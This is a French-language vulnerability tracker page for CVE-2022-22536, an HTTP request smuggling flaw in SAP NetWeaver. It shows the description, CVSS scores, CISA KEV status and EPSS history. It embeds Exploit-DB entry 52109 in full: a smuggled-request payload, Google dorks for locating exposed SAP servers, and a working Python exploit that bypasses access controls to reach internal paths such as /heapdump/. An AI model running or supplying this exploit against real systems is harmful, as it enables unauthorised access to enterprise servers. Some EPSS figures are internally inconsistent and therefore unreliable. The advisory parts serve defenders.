CVE-2022-22536

Score / Gravité

Critique

OWSAP

A04-Insecure Design

EPSS

93.92%V4

Vecteur

Network

Publié

2022-02-09
22h05 +00:00

Modifié

2025-01-29
20h21 +00:00

Liens officiels

CVE.org

NVD

Notifications pour un CVE

Restez informé de toutes modifications pour un CVE spécifique.

Gestion des notifications

Liste des Notifications

Notifications pour un CVE

Restez informé de toutes modifications pour un CVE spécifique.

Critères appliqués l'envoi de l'alerte : par rapport à la dernière alerte envoyée + différences au niveau de CISA, EPSS, CVSS, CWE, Solutions, CPE.

Paramètres

Vous pouvez spécifier un titre qui sera récupéré dans les alertes qui seront envoyées.

Spécifiez ici un CVE ID comme CVE-2025-1234

Planifications

Mois

Prochaine exécution calculée

Jour

Jour de la semaine

Heure

Minute

Date de création

Dernière exécution

Prochaine exécution

Fonctionnalité nécessitant une connexion

Cette fonctionnalité qui vous permet de recevoir des alertes, n'est active que lorsque vous êtes connecté à votre compte.

Descriptions du CVE

SAP NetWeaver Application Server ABAP, SAP NetWeaver Application Server Java, ABAP Platform, SAP Content Server 7.53 and SAP Web Dispatcher are vulnerable for request smuggling and request concatenation. An unauthenticated attacker can prepend a victim's request with arbitrary data. This way, the attacker can execute functions impersonating the victim or poison intermediary Web caches. A successful attack could result in complete compromise of Confidentiality, Integrity and Availability of the system.

Informations du CVE

Faiblesses connexes

CWE-ID	Nom de la faiblesse	Source
CWE-444	Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling') The product acts as an intermediary HTTP agent (such as a proxy or firewall) in the data flow between two entities such as a client and server, but it does not interpret malformed HTTP requests or responses in ways that are consistent with how the messages will be processed by those entities that are at the ultimate destination.

Métriques

Métriques	Score	Gravité	CVSS Vecteur	Source
V3.1	10	CRITICAL	CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H More informations Base: Exploitabilty Metrics The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component. Attack Vector This metric reflects the context by which vulnerability exploitation is possible. Network The vulnerable component is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). Attack Complexity This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability. Low Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component. Privileges Required This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability. None The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack. User Interaction This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component. None The vulnerable system can be exploited without interaction from any user. Base: Scope Metrics The Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope. Scope Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs. Changed An exploited vulnerability can affect resources beyond the security scope managed by the security authority of the vulnerable component. In this case, the vulnerable component and the impacted component are different and managed by different security authorities. Base: Impact Metrics The Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve. Confidentiality Impact This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability. High There is a total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server. Integrity Impact This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. High There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component. Availability Impact This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability. High There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable). Temporal Metrics The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability. Environmental Metrics These metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.	nvd@nist.gov
V3.1	9.8	CRITICAL	CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H More informations Base: Exploitabilty Metrics The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component. Attack Vector This metric reflects the context by which vulnerability exploitation is possible. Network The vulnerable component is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). Attack Complexity This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability. Low Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component. Privileges Required This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability. None The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack. User Interaction This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component. None The vulnerable system can be exploited without interaction from any user. Base: Scope Metrics The Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope. Scope Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs. Unchanged An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority. Base: Impact Metrics The Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve. Confidentiality Impact This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability. High There is a total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server. Integrity Impact This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. High There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component. Availability Impact This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability. High There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable). Temporal Metrics The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability. Environmental Metrics These metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.	134c704f-9b21-4f2e-91b3-4a467353bcc0
V2	10		AV:N/AC:L/Au:N/C:C/I:C/A:C	nvd@nist.gov

CISA KEV (Vulnérabilités Exploitées Connues)

Nom de la vulnérabilité : SAP Multiple Products HTTP Request Smuggling Vulnerability

Action requise : Apply updates per vendor instructions.

Connu pour être utilisé dans des campagnes de ransomware : Unknown

Ajouter le : 2022-08-17 22h00 +00:00

Action attendue : 2022-09-07 22h00 +00:00

Informations importantes

Ce CVE est identifié comme vulnérable et constitue une menace active, selon le Catalogue des Vulnérabilités Exploitées Connues (CISA KEV). La CISA a répertorié cette vulnérabilité comme étant activement exploitée par des cybercriminels, soulignant ainsi l'importance de prendre des mesures immédiates pour remédier à cette faille. Il est impératif de prioriser la mise à jour et la correction de ce CVE afin de protéger les systèmes contre les potentielles cyberattaques.

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2022-02-13	–	–	0.89%	–	–
2022-02-20	–	–	10.86%	–	–
2022-03-06	–	–	19.55%	–	–
2022-04-03	–	–	19.55%	–	–
2023-03-12	–	–	–	96.62%	–
2023-03-19	–	–	–	96.59%	–
2023-03-26	–	–	–	96.77%	–
2023-04-09	–	–	–	96.83%	–
2023-04-23	–	–	–	96.72%	–
2023-05-07	–	–	–	96.65%	–
2023-05-14	–	–	–	96.04%	–
2023-06-04	–	–	–	96.13%	–
2023-06-18	–	–	–	96.14%	–
2023-07-02	–	–	–	96.21%	–
2023-07-09	–	–	–	96.47%	–
2023-07-16	–	–	–	96.73%	–
2023-07-23	–	–	–	96.54%	–
2023-08-06	–	–	–	96.56%	–
2023-08-20	–	–	–	96.54%	–
2023-09-03	–	–	–	96.44%	–
2023-09-17	–	–	–	96.54%	–
2023-09-24	–	–	–	96.07%	–
2023-10-01	–	–	–	95.84%	–
2023-10-15	–	–	–	95.85%	–
2023-11-19	–	–	–	95.7%	–
2024-01-28	–	–	–	95.57%	–
2024-02-11	–	–	–	96.41%	–
2024-02-25	–	–	–	96.46%	–
2024-03-10	–	–	–	96.51%	–
2024-04-07	–	–	–	96.5%	–
2024-06-02	–	–	–	96.51%	–
2024-06-30	–	–	–	96.46%	–
2024-07-28	–	–	–	96.23%	–
2024-08-11	–	–	–	96.26%	–
2024-09-15	–	–	–	96.06%	–
2024-09-29	–	–	–	95.88%	–
2024-10-27	–	–	–	95.8%	–
2024-11-24	–	–	–	95.77%	–
2024-12-22	–	–	–	95.75%	–
2025-03-02	–	–	–	95.74%	–
2025-03-16	–	–	–	95.92%	–
2025-01-19	–	–	–	95.75%	–
2025-03-09	–	–	–	95.74%	–
2025-03-18	–	–	–	–	93.68%
2025-03-30	–	–	–	–	93.84%
2025-04-06	–	–	–	–	93.88%
2025-04-08	–	–	–	–	93.92%
2025-05-01	–	–	–	–	94.01%
2025-05-04	–	–	–	–	93.92%
2025-05-04	–	–	–	–	93.92,%

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

EPSS First.org

Date	Percentile
2022-02-13	11%
2022-02-20	88%
2022-03-06	94%
2022-04-03	96%
2023-03-12	99%
2023-03-19	99%
2023-03-26	99%
2023-04-09	99%
2023-04-23	99%
2023-05-07	99%
2023-05-14	99%
2023-06-04	99%
2023-06-18	99%
2023-07-02	99%
2023-07-09	99%
2023-07-16	99%
2023-07-23	99%
2023-08-06	99%
2023-08-20	99%
2023-09-03	99%
2023-09-17	99%
2023-09-24	99%
2023-10-01	99%
2023-10-15	99%
2023-11-19	99%
2024-01-28	99%
2024-02-11	1%
2024-02-25	1%
2024-03-10	1%
2024-04-07	1%
2024-06-02	1%
2024-06-30	1%
2024-07-28	1%
2024-08-11	1%
2024-09-15	1%
2024-09-29	1%
2024-10-27	1%
2024-11-24	1%
2024-12-22	1%
2025-03-02	1%
2025-03-16	1%
2025-01-19	1%
2025-03-09	1%
2025-03-18	1%
2025-03-30	1%
2025-04-06	1%
2025-04-08	1%
2025-05-01	1%
2025-05-04	1%
2025-05-04	1%

Informations sur l'Exploit

Exploit Database EDB-ID : 52109

Date de publication : 2025-04-01 22h00 +00:00
Auteur : C41Tx90
EDB Vérifié : No

# Exploit Title: SAPGateBreaker Exploit - CVE-2022-22536 - HTTP Request Smuggling Through SAP's Front Door # Google Dork: https://github.com/BecodoExploit-mrCAT/SAPGateBreaker-Exploit/blob/main/dorks # Date: Tuesday, April 2, 2025 # Exploit Author: @C41Tx90 - Victor de Queiroz - Beco do Exploit - Elytron Security # Vendor Homepage: https://community.sap.com/t5/technology-blogs-by-members/remediation-of-cve-2022-22536-request smuggling-and-request-concatenation/ba-p/13528083 # Software Link: https://help.sap.com/docs/SUPPORT_CONTENT/uiwits/3361892375.html # Version: SAP NetWeaver Application Server ABAP, SAP NetWeaver Application Server Java, ABAP Platform, SAP Content Server 7.53 and SAP Web Dispatcher # Tested on: Red Hat Enterprise Linux (RHEL) # CVE : 2022-22536 https://github.com/BecodoExploit-mrCAT/SAPGateBreaker-Exploit ------ SAPGateBreaker - CVE-2022-22536 HTTP Request Smuggler Author: @C41Tx90 - Victor de Queiroz | elytronsecurity.com | becodoexploit.com ---------------------------------------------------------------------------- Target: SAP NetWeaver Application Server Vulnerability: CVE-2022-22536 Exploit Type: HTTP Request Smuggling (Content-Length-based) Impact: ACL Bypass, Internal Access More information and explanations: https://github.com/BecodoExploit-mrCAT/SAPGateBreaker-Exploit ---------------------------------------------------------------------------- Sample Payload: ---------------------------------------------------------------------------- GET /sap/admin/public/default.html HTTP/1.1 Host: 172.32.22.7:50000 User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0 Accept: application/json, text/javascript, */*; q=0.01 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Referer: http://172.32.22.7:50000/sap/admin/public/default.html X-Requested-With: XMLHttpRequest Connection: keep-alive Cookie: saplb_*=(J2EE7364720)7364750 Authorization: Basic YTph Content-Length: 89 0\r \r GET /heapdump/ HTTP/1.1\r Host: 127.0.0.1\r X-Forwarded-For: 127.0.0.1\r \r ---------------------------------------------------------------------------- Expected Response: ---------------------------------------------------------------------------- HTTP/1.1 200 OK server: SAP NetWeaver Application Server last-modified: Tue, 01 Sep 2020 11:54:39 GMT sap-cache-control: +3600 date: Tue, 01 Apr 2025 20:49:02 GMT content-length: 4465 content-type: text/html connection: Keep-Alive x-dummy: 0 ---------------------------------------------------------------------------- Indicators of Success: - Status code 200 for internal endpoints - Difference between direct access (403/404) and smuggled (200) - Access to otherwise restricted SAP services via loopback injection ---------------------------------------------------------------------------- Example Paths Tested: - /sap/public/bc/icf/info - /sap/bc/webdynpro/sap/appl_soap_management - /heapdump/ - /ctc/ConfigServlet - /sap/public/bc/icf/logon.html - /webdynpro/resources/sap.com/tc~lm~config~content/ ---------------------------------------------------------------------------- SAP NetWeaver Application Server ABAP, SAP NetWeaver Application Server Java, ABAP Platform, SAP Content Server 7.53 and SAP Web Dispatcher are vulnerable for request smuggling and request concatenation. An unauthenticated attacker can prepend a victim's request with arbitrary data. This way, the attacker can execute functions impersonating the victim or poison intermediary Web caches. A successful attack could result in complete compromise of Confidentiality, Integrity and Availability of the system. Google Dorks: intitle:"SAP NetWeaver Application Server Java" inurl:/webdynpro/resources/ intitle:"SAP NetWeaver" "SAP J2EE Engine" intitle:"Welcome to SAP NetWeaver" inurl:/irj/portal intitle:"SAP NetWeaver Administrator" inurl:/nwa inurl:"/sap/bc/webdynpro" -site:sap.com inurl:"/sap/public" "SAP NetWeaver" inurl:"/sap/admin/public/default.html" inurl:"/webdynpro/welcome/Welcome.html" inurl:"/sap/public/info.jsp" "Powered by SAP NetWeaver" inurl:sap intitle:"SAP Web Dispatcher Administration" ---------------------------------------------------------------------------- # Exploit import argparse import http.client from urllib.parse import urlparse from colorama import Fore, Style, Back, init import os init(autoreset=True) BANNER = f""" {Fore.WHITE} +---------------------------+ (\__/\ Breaking the Gate | {Style.BRIGHT}{Fore.WHITE}by{Style.RESET_ALL} {Fore.YELLOW}@C41Tx90{Fore.WHITE} | ({Fore.RED}•{Fore.WHITE}デ{Fore.RED}•{Fore.WHITE}) {Style.BRIGHT}{Fore.YELLOW} CVE-2022-22536{Style.RESET_ALL} | {Fore.GREEN}t.me/becodoxpl{Fore.WHITE} | / つ {Fore.WHITE}HTTP Request Smuggler | {Fore.YELLOW}becodoexploit.com{Fore.WHITE} | | {Fore.LIGHTBLUE_EX}elytronsecurity.com{Fore.WHITE} | +---------------------------+ """ def detect_sap_version(host, port, is_https): try: conn_class = http.client.HTTPSConnection if is_https else http.client.HTTPConnection conn = conn_class(host, port, timeout=5) conn.request("GET", "/") res = conn.getresponse() headers = {k.lower(): v for k, v in res.getheaders()} server_header = headers.get("server", "Unknown") print(f"{Fore.YELLOW}[*] {Fore.WHITE}Detected SAP Server Header: {Fore.CYAN}{server_header}\n") return server_header except Exception as e: print(f"{Fore.RED}[!] {Fore.WHITE}Could not determine SAP version: {e}\n") return "Unknown" def build_smuggled_request(path): return f"0\r\n\r\nGET {path} HTTP/1.1\r\nHost: 127.0.0.1\r\nX-Forwarded-For: 127.0.0.1\r\nConnection: close\r\n\r\n" def try_file_read(host, port, is_https, verbose): test_paths = [ "/sap/public/bc/icf/info", "/sap/public/info.jsp", "/sap/public/test/test.jsp", "/sap/bc/webdynpro/sap/appl_soap_management", "/sap/public/bc/soap/rfc", "/webdynpro/welcome/Welcome.html", "/sr_central", "/useradmin/.jsp", "/heapdump/", "/startPage", "/crossdomain.xml", "/ctc/ConfigServlet", "/webdynpro/resources/sap.com/tc~lm~config~content/", "/sld", "/sap/bc/webdynpro/sap/wdy_cfg_component_config", "/sap/public/bc/icf/logon.html", "/sap/bc/webdynpro/sap/itadmin", "/sap/public/bc/sec/saml2", "/sap/public/bc/webdav" ] print(f"{Style.BRIGHT}{Fore.RED}[!] {Fore.WHITE}Proof of Concept for ACL Bypass via HTTP Request Smuggling{Style.RESET_ALL}\n") for path in test_paths: try: conn_class = http.client.HTTPSConnection if is_https else http.client.HTTPConnection conn = conn_class(host, port) conn.request("GET", path) res_direct = conn.getresponse() content_direct = res_direct.read().decode(errors="ignore") direct_status = res_direct.status except Exception as e: print(f"{Fore.RED}[!] {Fore.WHITE}Error checking direct access for {path}: {e}") continue body = build_smuggled_request(path) headers = { "Host": f"{host}:{port}", "Authorization": "Basic YTph", "Cookie": "saplb_*=(J2EE7364720)7364750", "Content-Type": "application/json", "Content-Length": str(len(body.encode("utf-8"))) } try: conn = conn_class(host, port) conn.request("POST", "/sap/admin/public/default.html", body=body, headers=headers) res = conn.getresponse() smuggled_headers = res.getheaders() content_smuggled = res.read().decode(errors="ignore") smuggled_status = res.status status_color = Fore.GREEN if smuggled_status != direct_status else Fore.RED print(f"{status_color}[-] {Fore.LIGHTBLUE_EX}{path} {Style.BRIGHT}{Fore.WHITE}Direct Access: {Fore.YELLOW}({direct_status}) {Fore.WHITE}Smuggled Access: {status_color}({smuggled_status}){Style.RESET_ALL}") if smuggled_status == direct_status: print(f"{Fore.RED}[x] {Fore.WHITE}Exploit did not work for {path}\n") with open("poc.txt", "a") as f: f.write(f"\n--- Path: {path} ---\n") f.write(f"Direct: {direct_status}\nSmuggled: {smuggled_status}\n") f.write(f"Smuggled Request:\nPOST /sap/admin/public/default.html HTTP/1.1\n") for k, v in headers.items(): f.write(f"{k}: {v}\n") f.write(f"\n{body}\n") f.write(f"Smuggled Response Headers:\n") for h in smuggled_headers: f.write(f"{h[0]}: {h[1]}\n") if verbose: f.write(f"\nSmuggled Response Body:\n{content_smuggled}\n") f.write(f"\nDirect Response:\n{content_direct}\n") if verbose: print(f"\n{Fore.BLUE}>>> Sent Payload to {path}:{Style.RESET_ALL}") print(f"{Fore.CYAN}POST /sap/admin/public/default.html HTTP/1.1") for k, v in headers.items(): print(f"{Fore.CYAN}{k}: {v}") print(f"\n{Fore.MAGENTA}{body.strip()}{Style.RESET_ALL}\n") print(f"{Fore.BLUE}>>> Received Response:{Style.RESET_ALL}") print(f"{Back.YELLOW if smuggled_status == 500 else Fore.CYAN}{Fore.WHITE}HTTP/1.1 {smuggled_status}{Style.RESET_ALL}") for h in smuggled_headers: print(f"{Fore.CYAN}{h[0]}: {h[1]}") print(f"\n{Fore.CYAN}{content_smuggled}{Style.RESET_ALL}") except Exception as e: print(f"{Fore.RED}[!] {Fore.WHITE}Error smuggling to {path}: {e}") def send_smuggled_request(target, verbose): parsed = urlparse(target) is_https = parsed.scheme == 'https' port = parsed.port or (443 if is_https else 80) host = parsed.hostname print(BANNER) print(f"{Fore.YELLOW}[*] {Fore.WHITE}Starting CVE-2022-22536 exploitation on {host}:{port}\n") detect_sap_version(host, port, is_https) body = build_smuggled_request("/sap/bc/webdynpro/sap/appl_soap_management") headers = { "Host": f"{host}:{port}", "Authorization": "Basic YTph", "Cookie": "saplb_*=(J2EE7364720)7364750", "Content-Type": "application/json", "Content-Length": str(len(body.encode("utf-8"))) } conn_class = http.client.HTTPSConnection if is_https else http.client.HTTPConnection conn = conn_class(host, port) try: conn.request("POST", "/sap/admin/public/default.html", body=body, headers=headers) res = conn.getresponse() content = res.read().decode(errors="ignore") status_display = f"HTTP/{res.version/10:.1f} {res.status} {res.reason}" is_exploit_success = res.status in [200, 500, 403, 302] print(f"{Fore.GREEN if is_exploit_success else Fore.RED}[-] {Fore.WHITE}Exploit executed{' successfully' if is_exploit_success else ''}! {Fore.YELLOW}CVE-2022-22536") print(f"{Fore.WHITE}{'-'*60}\n") print(f"{Fore.BLUE}>>> Sent Payload:{Style.RESET_ALL}") print(f"{Fore.CYAN}POST /sap/admin/public/default.html HTTP/1.1") for k, v in headers.items(): print(f"{Fore.CYAN}{k}: {v}") print(f"\n{Fore.MAGENTA}{body.strip()}{Style.RESET_ALL}\n") print(f"{Fore.BLUE}>>> Received Response:{Style.RESET_ALL}") print(f"{Back.YELLOW if res.status == 500 else Fore.CYAN}{Fore.WHITE}{status_display}{Style.RESET_ALL}") for h in res.getheaders(): print(f"{Fore.CYAN}{h[0]}: {h[1]}") if verbose: print(f"\n{Fore.CYAN}{content}{Style.RESET_ALL}") with open("poc.txt", "w") as f: f.write(f"Initial Request:\nPOST /sap/admin/public/default.html HTTP/1.1\n") for k, v in headers.items(): f.write(f"{k}: {v}\n") f.write(f"\n{body}\n") f.write(f"Initial Response:\n{status_display}\n") for h in res.getheaders(): f.write(f"{h[0]}: {h[1]}\n") f.write(f"\n{content}\n") print("\n") if is_exploit_success: print(f"{Fore.GREEN}[=] {Fore.WHITE}The exploit executed successfully and triggered an internal processing behavior. This indicates a potential HTTP request smuggling condition.") else: print(f"{Fore.RED}[x] {Fore.WHITE}The exploit did not trigger the expected behavior. Target may not be vulnerable.") print(f"\n{Fore.WHITE}{'-'*60}\n") try_file_read(host, port, is_https, verbose) except Exception as e: print(f"{Fore.RED}[!] {Fore.WHITE}Error sending initial request: {e}") def main(): parser = argparse.ArgumentParser(description="CVE-2022-22536 Smuggling PoC") parser.add_argument("-u", "--url", required=True, help="Target full URL (e.g., http://host:port)") parser.add_argument("--verbose", "-v", action="store_true", help="Show full headers and responses") args = parser.parse_args() os.system('clear') send_smuggled_request(args.url, args.verbose) if __name__ == "__main__": main() ---------------------------------------------------------------------------- https://nvd.nist.gov/vuln/detail/CVE-2022-22536 https://launchpad.support.sap.com/#/notes/3123396 https://blogs.sap.com/2022/02/08/patch-your-sap-netweaver-application-server-asap-cve-2022-22536/

Products Mentioned

Configuraton 0

Sap>>Content_server >> Version 7.53

Sap>>Content_server >> Version 7.53 (Open CPE detail)

Sap>>Netweaver_application_server_abap >> Version 7.22

Sap>>Netweaver_application_server_abap >> Version 7.22 (Open CPE detail)

Sap>>Netweaver_application_server_abap >> Version 7.49

Sap>>Netweaver_application_server_abap >> Version 7.49 (Open CPE detail)

Sap>>Netweaver_application_server_abap >> Version 7.53

Sap>>Netweaver_application_server_abap >> Version 7.53 (Open CPE detail)

Sap>>Netweaver_application_server_abap >> Version 7.77

Sap>>Netweaver_application_server_abap >> Version 7.77 (Open CPE detail)

Sap>>Netweaver_application_server_abap >> Version 7.81

Sap>>Netweaver_application_server_abap >> Version 7.81 (Open CPE detail)

Sap>>Netweaver_application_server_abap >> Version 7.85

Sap>>Netweaver_application_server_abap >> Version 7.85 (Open CPE detail)

Sap>>Netweaver_application_server_abap >> Version 7.86

Sap>>Netweaver_application_server_abap >> Version 7.86 (Open CPE detail)

Sap>>Netweaver_application_server_abap >> Version 7.87

Sap>>Netweaver_application_server_abap >> Version 7.87 (Open CPE detail)

Sap>>Netweaver_application_server_abap >> Version 8.04

Sap>>Netweaver_application_server_abap >> Version 8.04 (Open CPE detail)

Sap>>Netweaver_application_server_abap >> Version krnl64nuc_7.22

Sap>>Netweaver_application_server_abap >> Version krnl64nuc_7.22 (Open CPE detail)

Sap>>Netweaver_application_server_abap >> Version krnl64nuc_7.22ext

Sap>>Netweaver_application_server_abap >> Version krnl64nuc_7.22ext (Open CPE detail)

Sap>>Netweaver_application_server_abap >> Version krnl64nuc_7.49

Sap>>Netweaver_application_server_abap >> Version krnl64nuc_7.49 (Open CPE detail)

Sap>>Netweaver_application_server_abap >> Version krnl64uc_7.22

Sap>>Netweaver_application_server_abap >> Version krnl64uc_7.22 (Open CPE detail)

Sap>>Netweaver_application_server_abap >> Version krnl64uc_7.22ext

Sap>>Netweaver_application_server_abap >> Version krnl64uc_7.22ext (Open CPE detail)

Sap>>Netweaver_application_server_abap >> Version krnl64uc_7.49

Sap>>Netweaver_application_server_abap >> Version krnl64uc_7.49 (Open CPE detail)

Sap>>Netweaver_application_server_abap >> Version krnl64uc_7.53

Sap>>Netweaver_application_server_abap >> Version krnl64uc_7.53 (Open CPE detail)

Sap>>Netweaver_application_server_abap >> Version krnl64uc_8.04

Sap>>Netweaver_application_server_abap >> Version krnl64uc_8.04 (Open CPE detail)

Sap>>Web_dispatcher >> Version 7.22ext

Sap>>Web_dispatcher >> Version 7.22ext (Open CPE detail)

Sap>>Web_dispatcher >> Version 7.49

Sap>>Web_dispatcher >> Version 7.49 (Open CPE detail)

Sap>>Web_dispatcher >> Version 7.53

Sap>>Web_dispatcher >> Version 7.53 (Open CPE detail)

Sap>>Web_dispatcher >> Version 7.77

Sap>>Web_dispatcher >> Version 7.77 (Open CPE detail)

Sap>>Web_dispatcher >> Version 7.81

Sap>>Web_dispatcher >> Version 7.81 (Open CPE detail)

Sap>>Web_dispatcher >> Version 7.85

Sap>>Web_dispatcher >> Version 7.85 (Open CPE detail)

Sap>>Web_dispatcher >> Version 7.86

Sap>>Web_dispatcher >> Version 7.86 (Open CPE detail)

Sap>>Web_dispatcher >> Version 7.87

Sap>>Web_dispatcher >> Version 7.87 (Open CPE detail)

Références

https://launchpad.support.sap.com/#/notes/3123396
Tags : x_refsource_MISC

https://www.sap.com/documents/2022/02/fa865ea4-167e-0010-bca6-c68f7e60039b.html
Tags : x_refsource_MISC

CVE-2022-22536 : Détail

CVE-2022-22536

Descriptions du CVE

Informations du CVE

Faiblesses connexes

Métriques

Base: Exploitabilty Metrics

Base: Scope Metrics

Base: Impact Metrics

Temporal Metrics

Environmental Metrics

Base: Exploitabilty Metrics

Base: Scope Metrics

Base: Impact Metrics

Temporal Metrics

Environmental Metrics

CISA KEV (Vulnérabilités Exploitées Connues)

EPSS

Score EPSS

Percentile EPSS

Informations sur l'Exploit

Exploit Database EDB-ID : 52109

Products Mentioned

Configuraton 0

Références